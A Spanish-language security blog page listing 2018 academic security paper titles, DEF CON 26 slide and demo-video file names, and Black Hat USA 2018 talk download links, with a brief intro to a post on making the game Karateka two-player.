• Towards a Secure Zero-rating Framework with Three Parties

  • Liu PDF

• MoonShine: Optimizing OS Fuzzer Seed Selection with Trace Distillation

  • Pailoor PDF

• QSYM : A Practical Concolic Execution Engine Tailored for Hybrid Fuzzing

  • Yun PDF

• Automatic Heap Layout Manipulation for Exploitation

  • Heelan PDF

• FUZE: Towards Facilitating Exploit Generation for Kernel Use-After-Free Vulnerabilities

  • Wu PDF

• The Secure Socket API: TLS as an Operating System Service

  • O’Neill PDF

• Return Of Bleichenbacher’s Oracle Threat (ROBOT)

  • Bock PDF

• Bamboozling Certificate Authorities with BGP

  • Birge-Lee PDF

• The Broken Shield: Measuring Revocation Effectiveness in the Windows Code-Signing PKI

  • Kim PDF

• Debloating Software through Piece-Wise Compilation and Loading

  • Quach PDF

• Precise and Accurate Patch Presence Test for Binaries

  • Zhang PDF

• From Patching Delays to Infection Symptoms: Using Risk Profiles for an Early Discovery of Vulnerabilities Exploited in the Wild

  • Xiao PDF

• Understanding the Reproducibility of Crowd-reported Security Vulnerabilities

  • Mu PDF

• Malicious Management Unit: Why Stopping Cache Attacks in Software is Harder Than You Think

  • Van Schaik PDF

• Translation Leak-aside Buffer: Defeating Cache Side-channel Protections with TLB Attacks

  • Gras PDF

• Meltdown: Reading Kernel Memory from User Space

  • Lipp PDF

• Foreshadow: Extracting the Keys to the Intel SGX Kingdom with Transient Out-of-Order Execution

  • Van Bulck PDF

• Plug and Prey? Measuring the Commoditization of Cybercrime via Online Anonymous Markets

  • van Wegberg PDF

• Reading Thieves’ Cant: Automatically Identifying and Understanding Dark Jargons from Cybercrime Marketplaces

  • Yuan PDF

• Schrödinger’s RAT: Profiling the Stakeholders in the Remote Access Trojan Ecosystem

  • Rezaeirad PDF

• The aftermath of a crypto-ransomware attack at a large academic institution

  • Zhang-Kennedy PDF

• From Spam to Speech: Policing the Next Generation of “Unwanted Traffic”

• The Law and Economics of Bug Bounties

• Amit Elazari Bar On, Doctoral Candidate, Berkeley Law, Center for Long-Term Cybersecurity Grantee

• We Still Don’t Have Secure Cross-Domain Requests: an Empirical Study of CORS

  • Chen PDF

• End-to-End Measurements of Email Spoofing Attacks

  • Hu PDF

• Who Is Answering My Queries: Understanding and Characterizing Interception of the DNS Resolution Path

  • Liu PDF

• End-Users Get Maneuvered: Empirical Analysis of Redirection Hijacking in Content Delivery Networks

  • Hao PDF

• SAD THUG: Structural Anomaly Detection for Transmissions of High-value Information Using Graphics

  • Chapman PDF

• FANCI : Feature-based Automated NXDomain Classification and Intelligence

  • Scguppen PDF

• An Empirical Study of Web Resource Manipulation in Real-world Mobile Applications

  • Zhang PDF

• Fast and Service-preserving Recovery from Malware Infections Using CRIU

  • Webster PDF

• The Second Crypto War—What’s Different Now

• Susan Landau, Bridge Professor of Cyber Security and Policy, Tufts University

• Medical Device Cybersecurity through the FDA Lens

• Suzanne B. Schwartz, US Food and Drug Administration

• The Guard’s Dilemma: Efficient Code-Reuse Attacks Against Intel SGX

  • Biondo PDF

• A Bad Dream: Subverting Trusted Platform Module While You Are Sleeping

  • Han PDF

• Tackling runtime-based obfuscation in Android with TIRO

  • Wong PDF

• Discovering Flaws in Security-Focused Static Analysis Tools for Android using Systematic Mutation

  • Bonett PDF

• With Great Training Comes Great Vulnerability: Practical Attacks against Transfer Learning

  • Wang PDF

• When Does Machine Learning FAIL? Generalized Transferability for Evasion and Poisoning Attacks

  • Suciu

• teEther: Gnawing at Ethereum to Automatically Exploit Smart Contracts

  • Krupp PDF

• Enter the Hydra: Towards Principled Bug Bounties and Exploit-Resistant Smart Contracts

  • Breidenbach PDF

• Arbitrum: Scalable, private smart contracts

  • Kalodner PDF

• Erays: Reverse Engineering Ethereum’s Opaque Smart Contracts

  • Zhou PDF

• DelegaTEE: Brokered Delegation Using Trusted Execution Environments

  • Matetic PDF

• Simple Password-Hardened Encryption Services

  • Lai PDF

• Security Namespace: Making Linux Security Frameworks Available to Containers

  • Sun PDF

• Shielding Software From Privileged Side-Channel Attacks

  • Dong PDF

• Vetting Single Sign-On SDK Implementations via Symbolic Reasoning

  • Yang PDF

• O Single Sign-Off, Where Art Thou? An Empirical Analysis of Single Sign-On Account Hijacking and Session Management on the Web

  • Ghasemisharif PDF

• WPSE: Fortifying Web Protocols via Browser-Side Security Monitoring

  • Calzavara PDF

• Man-in-the-Machine: Exploiting Ill-Secured Communication Inside the Computer

  • Bui PDF

• All Your GPS Are Belong To Us: Towards Stealthy Manipulation of Road Navigation Systems

  • Zeng PDF

• Injected and Delivered: Fabricating Implicit Control over Actuation Systems by Spoofing Inertial Sensors

  • Tu PDF

• Modelling and Analysis of a Hierarchy of Distance Bounding Attacks

  • Chothia PDF

• Off-Path TCP Exploit: How Wireless Routers Can Jeopardize Your Secrets

  • Chen PDF

• Formal Security Analysis of Neural Networks using Symbolic Intervals

  • Wang PDF

• Turning Your Weakness Into a Strength: Watermarking Deep Neural Networks by Backdooring

  • Adi PDF

• A4NT: Author Attribute Anonymity by Adversarial Training of Neural Machine Translation

  • Shetty PDF

• GAZELLE: A Low Latency Framework for Secure Neural Network Inference

  • Juvekar PDF

• FlowCog: Context-aware Semantics Extraction and Analysis of Information Flow Leaks in Android Apps

  • Pan PDF

• Sensitive Information Tracking in Commodity IoT

  • Celik PDF

• Enabling Refinable Cross-Host Attack Investigation with Efficient Data Flow Tagging and Tracking

  • Ji PDF

• Dependence-Preserving Data Compaction for Scalable Forensic Analysis

  • Hossain PDF

Hack para convertir Karateka a dos jugadores

*Karateka 2 jugadores*

Karateka fue un juego publicado en 1984 originalmente para Apple II. Más tarde el juego fue portado a muchos otros sistemas de la época como Commodore 64, Amstrad CPC, MSX, etc, así como a sistemas más modernos. Fue escrito por Jordan Mechner , creador también del mega popular Prince of Persia, Karateka era un juego donde el jugador tenía que luchar (Karate) contra sus enemigos para rescatar a la princesa Mariko del castillo de Akuma. Presta atención al detalle de el jugador, y digo esto porque esta es la miga de esta entrada, el juego era de un sólo jugador.

Material DEF CON 26

*DEF CON 26*

Aquí tenéis el material disponible de la DEF CON 26 :

• Alexei Bulazel
  • Alexei-Bulazel-Reverse-Engineering-Windows-Defender-Demo-Videos
    • Alexei-Bulazel-demo-1-mpclient.mp4
    • Alexei-Bulazel-demo-2-outputdebugstringa.mp4
    • Alexei-Bulazel-demo-3-file-system.mp4
    • Alexei-Bulazel-demo-4-proclist.mp4
    • Alexei-Bulazel-demo-5-apicall.mp4
    • Alexei-Bulazel-demo-6-fuzz.mp4
  • Alexei-Bulazel-Reverse-Engineering-Windows-Defender.pdf
• Alfonso Garcia and Alejo Murillo
  • DEFCON-26-Alfonso-Garcia-and-Alejo-Murillo-Demo-Videos
    • playback_tls_1.mp4
    • playback_tls_2.mp4
    • playback_tls_3.mp4
  • Alfonso-Garcia-and-Alejo-Murillo-Playback-a-TLS-story-Updated.pdf
• Andrea Marcelli
  • Andrea-Marcelli-Demo-Video.mp4
  • Andrea-Marcelli-Looking-for-the-perfect-signature-automatic-YARA-rules.pdf
• Bai Zheng and Chai Wang
  • Bai-Zheng-Chai-Wang-You-May-Have-Paid-more-than-You-Imagine.pdf
• Christopher Domas
  • Christopher-Domas-GOD-MODE- UNLOCKED-hardware-backdoors-in-x86-CPUs.pdf
  • Christopher-Domas-The-Ring-0-Facade.pdf
• DEFCON-26-Damien-Cauquil-Updated
  • DEFCON-26-Damien-Cauquil-Extras
  • DEFCON-26-Damien-Cauquil-Secure-Your-BLE-Devices-Demo-Videos
    • demo-hush.mp4
    • demo-jamming-final.mp4
    • demo-sniff-active.mp4
    • demo-sniff-connreq.mp4
    • volvo-fail.gif
    • volvo-fail.mp4
  • Damien-Cauquil-Secure-Your-BLE-Devices-Updated.pdf
• Damien Cauquil
  • DEFCON-26-Damien-Cauquil-Extras
  • DEFCON-26-Damien-Cauquil-Secure-Your-BLE-Devices-Demo-Videos
    • demo-hush.mp4
    • demo-jamming-final.mp4
    • demo-sniff-active.mp4
    • demo-sniff-connreq.mp4
    • volvo-fail.gif
    • volvo-fail.mp4
  • Damien-Cauquil-Secure-Your-BLE-Devices.pdf
• Dan Crowley - Mauro Paredes - Jen Savage - Updated
  • Crowley-Paredes-Savage-Outsmarting-the-Smart-City-Demo-Video.mp4
  • Crowley-Paredes-Savage-Outsmarting-the-Smart-City-Updated.pdf
• Daniel Zolnikov
  • Daniel-Zolnikov-Politics-and-the-Surveillence-State.pdf
• David Melendez
  • David-Melendez-Project-Interceptor-Demo-Video.mp4
  • David-Melendez-Project-Interceptor-WP.pdf
  • David-Melendez-Project-Interceptor.pdf
• Dongsung Kim and Hyoung Kee Choi
  • Dongsung-Kim-and-Hyoung-Kee-Choi-Demo-Video.mp4
  • Dongsung-Kim-and-Hyoung-Kee-Choi-Your-Watch-Can-Watch-You.pdf
• Dongsung Kim and Hyoung Kee Choi - Updated
  • Dongsung-Kim-and-Hyoung-Kee-Choi-Your-Watch-Can-Watch-You-Demo-Video.mp4
  • Dongsung-Kim-and-Hyoung-Kee-Choi-Your-Watch-Can-Watch-You-Updated.pdf
• Douglas Mckee
  • DEFCON-26-Douglas-McKee-Demo-Videos
    • 30To180-2.mp4
    • 80To180-2.mp4
    • Emulation.mp4
    • FlatlineDemo2.mp4
  • Douglas-McKee-80-to-0-in-5-sec-falsifying-medical-pt-vitals.pdf
• Douglas Mckee - Updated
  • Douglas-McKee-80-to-0-in-5-sec-falsifying-medical-pt-vitals-updated.pdf
  • Douglas-McKee-80-to-0-in-5-sec-falsifying-medical-pt-vitals-updated.pptx
• Eric Sesterhenn
  • DEFCON-26-Eric-Sesterhenn-Demo-Videos
    • Eric-Sesterhenn-Soviet-Russia-Smartcard-Hacks-You-PoC1.mp4
    • Eric-Sesterhenn-Soviet-Russia-Smartcard-Hacks-You-PoC2.mp4
  • Eric-Sesterhenn-Soviet-Russia-Smartcard-Hacks-You.pdf
• Feng Xiao - Jianwei Huang - Peng Liu
  • Xiao-Huang-Liu-Hacking-the-Brain-Custom-Attack-SDN-Controller.pdf
  • Huang-Liu-Hacking-the-Brain-Custom-Attack-SDN-Controller-Demo-Video.mp4
• Gabriel Ryan
  • DEFCON-26-Gabriel-Ryan-Demo-Videos
    • Gabriel-Ryan-bait-n-switch.mp4
    • Gabriel-Ryan-bypass-mab.mp4
    • Gabriel-Ryan-classic-8021x-bypass-with-interaction (1920 x 1080).mp4
    • Gabriel-Ryan-classic-8021x-bypass-with-interaction.mp4
    • Gabriel-Ryan-eap-md5-forced-reauth-full.mp4
    • Gabriel-Ryan-rogue-gateway-final (1920 x 1080).mp4
    • Gabriel-Ryan-rogue-gateway-final.mp4
    • Gabriel-Ryan-ryan-gabriel-ryan-bait-n-switch (1920 x 1080).mp4
    • Gabriel-Ryanforged-eapol-start.mp4
  • Gabriel-Ryan-Owning-the-LAN-in-2018-WP.pdf
  • Gabriel-Ryan-Owning-the-LAN-in-2018.pdf
• Joe Rozner
  • Joe-Rozner-Demo-Video.mp4
  • Joe-Rozner-RE-Targetable-Grammer-Based-Test-Case-Generation-Synfuzz.pdf
• John Seymour and Azeem Aqil
  • DEFCON-26-John-Seymour-and-Azeem-Aqil-Demo-Videos
    • 07-01.mp4
    • 10-01-trimmed.mp4
    • 13-01.mp4
    • 16-01.wav
    • 16-02.wav
    • 16-03.wav
    • 21-01.wav
    • 21-02.wav
  • John-Seymour-and-Azeem-Aqil-Your-Voice-is-My-Passport.pdf
• Josep Rodriguez
  • Josep-Rodriguez-Breaking-Extreme-Networks-WingOS.pdf
  • Josep-Rodriguez-Breaking-Extreme-Networks-WingOS-Demo-Video.mp4
• L0pht Panel
  • L0pht-Testimony-20-years-later.pdf
• Leigh Anne Galloway and Tim Yunusov
  • DEFCON-26-Galloway-and-Yunusov-Demo-Videos
    • Galloway-and-Yunusov-RCE.mp4
    • Galloway-and-Yunusov-arbitrary-code.mp4
    • Galloway-and-Yunusov-modifying-amount.mp4
  • Galloway-and-Yunusov-For-the-love-of-money-Findingexploiting-vulns-in-mobile-pos-terminals.pdf
• Louis Dion Marcil
  • DEFCON-26-Louis-Dion-Marcil-Demo-Videos
    • demo1.mp4
    • demo2.mp4
  • Louis-Dion-Marcil-Edge-Side-Include-Injection.pdf
• Martin Vigo
  • DEFCON-26-Martin-Vigo-Demo-Videos
    • demo-bruteforcing-v1.mp4
    • demo-paypal-v1.mp4
    • demo-whatsapp-v1.mp4
  • Martin-Vigo-Compromising-Online-Cracking-Voicemail-Systems.pdf
• Michael West and Collin Campbell
  • Micheal-West-Colin-Campbell-barcOwned-Popping-shells-with-your-cereal box.pdf
  • Micheal-West-Colin-Campbell-barcOwned-Popping-shells-with-your-cereal box.pptx
• Mickey Shkatov and Jesse Micheal
  • DEFCON-26-Mickey-Shkatov-and-Jesse-Micheal-Demo-Videos
    • EvilMaid-BennyHill-Defcon-Video1.mp4
    • exploit-popcalc-text-Defcon-Video2.MP4
    • exploit-popcalc-win10-Defcon-Video3.MP4
    • exploit-shell-Defcon-Video4.MP4
    • exploit-smileyloop.MP4
  • Mickey-Shkatov-and-Jesse-Micheal-UEFI-Exploitation-For-The-Masses.pdf
• Morgan Gangwere
  • DEFCON-26-Morgan-Gangwere-Its-assembler-jim-Demo-Videos
    • demo-1-rootfs.mp4
    • demo-2-tapdrive.mp4
    • demo-3-containers.mp4
    • demo-4-afl.mp4
  • Morgan-Gangwere-Its-assembler-jim-Notes.pdf
  • Morgan-Gangwere-Its-assembler-jim.pdf
• Nafeez
  • Nafeez-Compression-Oracle-attacks-on-VPN-Networks-openvpn3-voracle.gif
  • Nafeez-Compression-Oracle-attacks-on-VPN-Networks.pdf
• Nick Cano
  • DEFCON-26-Nick-Cano-Demo-Videos
    • demo-1-tools.mp4
    • demo-2-launch.mp4
    • demo-3-scan.mp4
    • demo-4-win10.mp4
  • Nick-Cano-Relocation-Bonus-Attacking-the-Win-Loader.pdf
• Patrick Wardle
  • Patrick-Wardle-Fire-and-Ice.pdf
  • Patrick-Wardle-The-Mouse-Is-Mightier-Synthetic0Reality.pdf
• Ruo Ando
  • Ruo-Ando-Asura-Demo-Video.MP4
  • Ruo-Ando-Asura-PCAP-File-Analyzer-for-Anomaly-Packet-Detection-Multithreading-WP.pdf
  • Ruo-Ando-Asura-PCAP-File-Analyzer-for-Anomaly-Packet-Detection-Multithreading.pdf
• Ryan Johnson and Angelos Stavrou
  • DEFCON-26-Johnson-and-Stavrou-Demo-Videos
    • commexec.mp4
    • maliciousApp.mp4
    • zte-zmax-champ-brick.mp4
  • Johnson-and-Stavrou-Vulnerable-Out-of-the-Box-An-Eval-of-Android-Carrier-Devices-WP.pdf
  • Johnson-and-Stavrou-Vulnerable-Out-of-the-Box-An-Eval-of-Android-Carrier-Devices.pdf
• Ryan Johnson and Angelos Stavrou - Updated
  • DEFCON-26-Johnson-and-Stavrou-Demo-Videos-Updated
    • commExec.mp4
    • factory_reset.mp4
    • lock_user_out.mp4
    • maliciousApp.mp4
    • modem_and_logcat_logs_zte.mp4
    • take_screenshot.mp4
    • zte_zmax_champ_brick.mp4
  • Johnson-and-Stavrou-Vulnerable-Out-of-the-Box-An-Eval-of-Android-Carrier-Devices-Updated.pdf
  • Johnson-and-Stavrou-Vulnerable-Out-of-the-Box-An-Eval-of-Android-Carrier-Devices-WP-Updated.pdf
• Sanat Sharma
  • Sanat-Sharma-House-of-Roman-Demo-Video.mp4
  • Sanat-Sharma-House-of-Roman.pdf
• Sheila A Berta and Sergio De Los Santos
  • DEFCON-26-Sheila-A-Berta-and-Sergio-De-Los-Santos-Demo-Video
    • freetool.mp4
    • gmtruntime.mp4
  • Sheila-A-Berta-and-Sergio-De-Los-Santos-Tracking-Android-Malware-Developers.pdf
• Siegfried Rasthofer and Stephan Huber
  • Siegfried-Rasthofer-and-Stephan-Huber-Demo-Video
    • demovideo.mp4
    • greenalp-cast.mp4
  • Siegfried-Rasthofer-and-Stephan-Huber-All-Your-Family-Secrets-Belong-to-Us.pdf
• Siegfried Rasthofer and Stephan Huber - Updated
  • Siegfried-Rasthofer-and-Stephan-Huber-Demo-Video-Updated
    • demovideo_Version2.mp4
    • greenalpdemo_Version2.mp4
  • Siegfried-Rasthofer-and-Stephan-Huber-All-Your-Family-Secrets-Belong-to-Us-Updated.pdf
• Silke Holtmanns and Isha Singh
  • Holtmanns-Singh-4G-Who-is-Paying-your-cell-phone-bill.pdf
• Slava Makkaveev
  • DEFCON-26-Slava-Makkaveev-Demo-Videos
    • Slava-Makkaveev-MITD-Demo1-GoogleTranslate.mp4
    • Slava-Makkaveev-MITD-Demo2-LGAppManager.mp4
    • Slava-Makkaveev-MITD-Demo3-XiaomiBrowser.mp4
  • Slava-Makkaveev-Man-In-The-Disk.pdf
• Stark Riedesel and Parsia Hakimian
  • DEFCON-26-Stark-Riedesel-and-Parsia-Hakimian-Demo-Videos
    • 1-tineola-enum-demo.mp4
    • 2-tineola-invoke-TXes.mp4
    • 2-tineola-invoke-demo.mp4
    • 3-tineola-fuzzing-demo.mp4
    • 4-tineolacc-install.mp4
    • 5-tineola-nmap-scan.mp4
    • 6-tineola-direct-db-TXes.mp4
    • 6-tineola-direct-db-demo.mp4
  • Stark-Riedesel-and-Parsia-Hakimian-Tineola-Taking-Bite-Out-of-Enterprise-Blockchain.pdf
• Thanh Bui and Siddharth Rao
  • DEFCON-26-Thanh-Bui-and-Siddharth-Rao-Demo-Videos
    • 1password-demo.mp4
    • fido-demo.mp4
  • Thanh-Bui-and-Siddharth-Rao-Last-Mile-Auth-Problem-Exploiting-End-to-End.pdf
• The Tarquin
  • DEFCON-26-The-Tarquin-Demo-Videos
    • homograph-ocr.mp4
    • homographbomb.mp4
    • java-homograph.mp4
  • The-Tarquin-Weaponizing-Unicode-Homographs-Beyond-IDNs.pdf
• Thiago Alves
  • DEFCON-26-Thiago-Alves-Demo-Videos
    • first-attack.mp4
    • second-attack.mp4
    • third-attack.mp4
  • Thiago-Alves-Hacking-PLCs-and-Causing-Havoc-on-Critical-Infrastructures.pdf
• Torani - Buchwald - Nirenberg
  • Torani-Buchwald-Nirenberg-Reverse-Engineering-Hacker-Docu-Series-Sample-Scene.mp4
  • Torani-Buchwald-Nirenberg-Reverse-Engineering-Hacker-Docu-Series.pdf
• Truman Kain
  • Truman-Kain-Demo-Video.mp4
  • Truman-Kain-Dragnet-Social-Engineering-Sidekick.pdf
• Truman Kain - Updated
  • Truman-Kain-Demo-Video-Updated.mp4
  • Truman-Kain-Dragnet-Social-Engineering-Sidekick-Updated.pdf
• Vincent Tan
  • DEFCON-26-Vincent-Tan-Demo-Videos
    • Vincent-Tan-Hacking-BLE-Bicycle-Locks-Demo-Video-1.mp4
    • Vincent-Tan-Hacking-BLE-Bicycle-Locks-Demo-Video-2.mp4
  • Vincent-Tan-Hacking-BLE-Bicycle-Locks.pdf
• Wesley McGrew
  • Wesley-McGrew-An-Attacker-Looks-at-Docker-Demo-Video.mp4
  • Wesley-McGrew-An-Attacker-Looks-at-Docker-WP.pdf
  • Wesley-McGrew-An-Attacker-Looks-at-Docker.pdf
• William Martin
  • William-Martin-SMBetray-Backdooring-and-Breaking-Signiatures.pdf
  • William-Martin-SMBetray-Demo-Video.mp4
• Wu HuiYu and Qian Wenxiang
  • DEFCON-26-Wu-HuiYu-and-Qian-Wenxiang-Demo-Videos
    • MI-AI-SPEAKER-MIIO.mp4
    • MI-AI-SPEAKER-RCE.mp4
    • amazon-echo-2soldering.mp4
    • amazon-echo-desoldering.mp4
    • amazon-echo-exploit.mp4
    • breaking-smart-speaker-video-1.mp4
    • breaking-smart-speaker-video-2.mp4
    • breaking-smart-speaker-video-3.mp4
    • breaking-smart-speaker-video-4.mp4
  • Wu-HuiYu-and-Qian-Wenxiang-Breaking-Smart-Speakers.pdf
• Xiaolong Bai and Min Zheng
  • DEFCON-26-Xiaolong-Bai-and-Min-Zheng-Demo-Video
    • DemoOnPage13.mp4
    • DemoOnPage78.mp4
  • Xiaolong-Bai-and-Min-Zheng-One-Bite-And-All-Your-Dreams-Will-Come-True.pdf
• Zach Miller and Alex Kissinger
  • DEFCON-26-Zach-Miller-and-Alex-Kissinger-Demo-Videos
    • demo-1-command-file-exploit.mp4
    • demo-2-telnet-exploit.mp4
    • demo-3-mlwar.mp4
  • Zach-Miller-and-Alex-Kissinger-Infecting-Embedded-Supply-Chain.pdf
• Zach Miller and Alex Kissinger - Updated
  • Zach Miller and Alex Kissinger - Extras
    • demo3_mlwar_v2.ogv
    • demo4_brute_force_and_dump_fw.mp4
  • Zach-Miller-and-Alex-Kissinger-Infecting-Embedded-Supply-Chain-Updated.pdf
• nevermoe
  • nevermoe-One-Step-Before-Game-Hackers-Andriod-Emulators-cheat-Demo-Video.mp4
  • nevermoe-One-Step-Before-Game-Hackers-Andriod-Emulators.pdf
• sghctoma
  • DEFCON-26-sghctoma-Demo-Videos
    • maple/
    • mathematica/
    • matlab/
  • sghctoma-all-your-math-are-belong-to-us.pdf
• singe
  • singe-Practical-and-Improved-Wifi-MitM-with-Mana-eap-relay-v1.mp4
  • singe-Practical-and-Improved-Wifi-MitM-with-Mana.pdf
• smea
  • DEFCON-26-smea-Jailbreaking-the-3DS-Demo-Videos
    • fuzz.mp4
    • hbmenu.mp4
    • mcopy.mp4
    • ninjhax.mp4
    • tubehax.mp4
  • smea-Jailbreaking-the-3DS.pdf
• Alex-Levinson-Overview-of-Genesis-Scripting-Engine.pdf
• Alexandre-Borges-Ring-02-Rootkits-bypassing-defenses-Updated.pdf
• Alexandre-Borges-Ring-02-Rootkits-bypassing-defenses.pdf
• Alfonso-Garcia-and-Alejo-Murillo-Playback-a-TLS-story.pdf
• Crowley-Paredes-Savage-Outsmarting-the-Smart-City.pdf
• Eckert-Sumner-Krause-Inside-the-Fake-Science-Factory.pdf
• Eduardo-Izycki-And-Rodrigo-Colli-Digital-Leviathan-Nation-State-Big-Brothers.pdf
• Egypt-One-Liners-to-Rule-Them-All.pdf
• Fireside-Panel-D0-N0-H4RM.pdf
• Fireside-Panel-Goerzen-and-Matthews-Beyond-The-Lulz-Updated.pdf
• Fireside-Panel-Goerzen-and-Matthews-Beyond-The-Lulz.pdf
• Foster-and-Ayrey-Lost-and-Found-Certs-residual-certs-for-pre-owned-domains.pdf
• Galloway-and-Yunusov-For-the-love-of-Money-Finding-And-Exploiting-Vulns-In-Mobile-POS-Updated.pdf
• Ian-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
• Jianjun-Dai-Guang-Gong-Wenlin-Yang-Pwning-The-Toughest-Target-Updated.pdf
• Jianjun-Dai-Guang-Gong-Wenlin-Yang-Pwning-The-Toughest-Target.pdf
• Joe-Grand-Searching-for-the-Light-Adventures-w-Opticspy.pdf
• Josep-Rodriguez-Breaking-Extreme-Networks-WingOS-Updated.pdf
• Lawshae-Who-Controls-the-Controllers-Hacking-Crestron.pdf
• Maggie-Mayhem-Sex-Work-After-SESTA.pdf
• Maksim-Shudrak-Fuzzing-Malware-For-Fun-and-Profit.pdf
• Matt-King-Micro-Renovator-Bringing-Proc-Firmware-Up-To-Code.pdf
• Matt-Knight-and-Ryan-Speers-RF-Fuzzing-Tools-to-Expose-PHY-Layer-Vulns.pdf
• Matt-Wixey-Betrayed-by-the-Keyboard-Updated.pdf
• Matt-Wixey-Betrayed-by-the-Keyboard.pdf
• Matthews-Adams-Greco-Youre-Just-Complaining-Because-Youre-Guilty.pdf
• Michael-Ossmann-and-Dominic-Spill-Revolting-Radios.pdf
• Min-Zheng-Xiaolong-Bai-Fasten-your-Seatbelts-Escaping-iOS-11-Sandbox.pdf
• Nils-Amiet-and-Yonal-Romailler-Reaping-and-breaking-keys-at-scale-when-crypto-meets-big-data.pdf
• Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-and-Pop-0days-Out.pdf
• Panel-DCGroups.pdf
• Paternotte-and-van-Ommeren-It-WISNt-Me-Attacking-Industrial-Wireless-Mesh.pdf
• Rachel-Greenstadt-and-Aylin-Caliskan-De-anonymizing-Programmers.pdf
• Richard-Thieme-The-Road-to-Resilience .pdf
• Rob-Joyce-Absurd-Xmas-Lights.pdf
• Rousseau-and-Seymour-Finding-Xori-Malware-Analysis-Triage-w-Auto-Disassembly.pdf
• Seamus-Burke-Journey-Into-Hexagon.pdf
• Sean-Metcalf-Exploiting-Administrator-Insecurities.pdf
• Shortxstack-and-Seth-Law-Building-the-Hacker-tracker.pdf
• Si-and-AgentX-Wagging-The-Tail.pdf
• Steven-Danneman-Your-Banks-Digital-Side-Door.pdf
• Yaniv-Balmas-What-The-FAX.pdf
• YawnBox-Emerald-Onion-Privacy-Infrastructure-Challenges-and-Opportunites.pdf
• Yu-Wang-Attacking-The-MacOS-Kernel-Graphics-Driver.pdf
• Yuwei-Zheng-Shaokun-Cao-Bypass-the-SecureBoot-and-etc-on-NXP-SOCs-Updated.pdf
• Yuwei-Zheng-Shaokun-Cao-Bypass-the-SecureBoot-and-etc-on-NXP-SOCs.pdf
• zerosum0x0-Eternal-Exploits.pdf

También también podéis descargar todo este contenido desde este enlace o por torrent a través de este otro enlace .

Presentaciones Black Hat USA 2018

*Black Hat USA 2018*

Aquí tenéis la list de las presentaciones de Black Hat USA de este año, con enlace a las diapositivas y documentos que se han hecho públicos:

• Optimistic Dissatisfaction with the Status Quo: Steps We Must Take to Improve Security in Complex Landscapes
• Finding Xori: Malware Analysis Triage with Automated Disassembly
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Rousseau-Finding-Xori-Malware-Analysis-Triage-With-Automated-Disassembly.pdf )
• Exposing the Bait: A Qualitative Look at the Impact of Autonomous Peer Communication to Enhance Organizational Phishing Detection
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Malmquist-Exposing-The-Bait-A-Qualitative-Look-At-The-Impact-Of-Autonomous-Peer-Communication-To-Enhance-Organizational-Phishing-Detection.pdf )
• Software Attacks on Hardware Wallets
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Volokitin-Software-Attacks-On-Hardware-Wallets.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Volokitin-Software-Attacks-On-Hardware-Wallets-wp.pdf )
• Dissecting Non-Malicious Artifacts: One IP at a Time
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Goland-Dissecting-Non-Malicious-Artifacts-One-IP-At-A-Time.pdf )
• Detecting Credential Compromise in AWS
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Bengtson-Detecting-Credential-Compromise-In-AWS.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Bengtson-Detecting-Credential-Compromise-In-AWS-wp.pdf )
• How I Learned to Stop Worrying and Love the SBOM
• Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparent Session Hijacking
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Dion_Marcil-Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Dion_Marcil-Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking-wp.pdf )
• Measuring the Speed of the Red Queen’s Race; Adaption and Evasion in Malware
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Harang-Measuring-the-Speed-of-the-Red-Queens-Race.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Harang-Measuring-the-Speed-of-the-Red-Queens-Race-wp.pdf )
• Holding on for Tonight: Addiction in InfoSec
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Tomasello-Holding-On-For-Tonight-Addiction-In-Infosec.pdf )
• TRITON: How it Disrupted Safety Systems and Changed the Threat Landscape of Industrial Control Systems, Forever
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Carcano-TRITON-How-It-Disrupted-Safety-Systems-And-Changed-The-Threat-Landscape-Of-Industrial-Control-Systems-Forever.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Carcano-TRITON-How-It-Disrupted-Safety-Systems-And-Changed-The-Threat-Landscape-Of-Industrial-Control-Systems-Forever-wp.pdf )
• Stress and Hacking: Understanding Cognitive Stress in Tactical Cyber Ops
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Paul-Stress-and-Hacking.pdf )
• From Bot to Robot: How Abilities and Law Change with Physicality
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Postnikoff-From-Bot-To-Robot-How-Abilities-And-Law-Change-With-Physicality.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Postnikoff-From-Bot-To-Robot-How-Abilities-And-Law-Change-With-Physicality-wp.pdf )
• Miasm: Reverse Engineering Framework
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-DesclauxMougey-Miasm-Reverse-Engineering-Framework.pdf )
• New Trends in Browser Exploitation: Attacking Client-Side JIT Compilers
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Gro ß-New-Trends-In-Browser-Exploitation-Attacking-Client-Side-JIT-Compilers.pdf)
• Deep Neural Networks for Hackers: Methods, Applications, and Open Source Tools
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-saxe-Deep-Learning-For-Hackers-Methods-Applications-and-Open-Source-Tools.pdf )
• KeenLab iOS Jailbreak Internals: Userland Read-Only Memory can be Dangerous
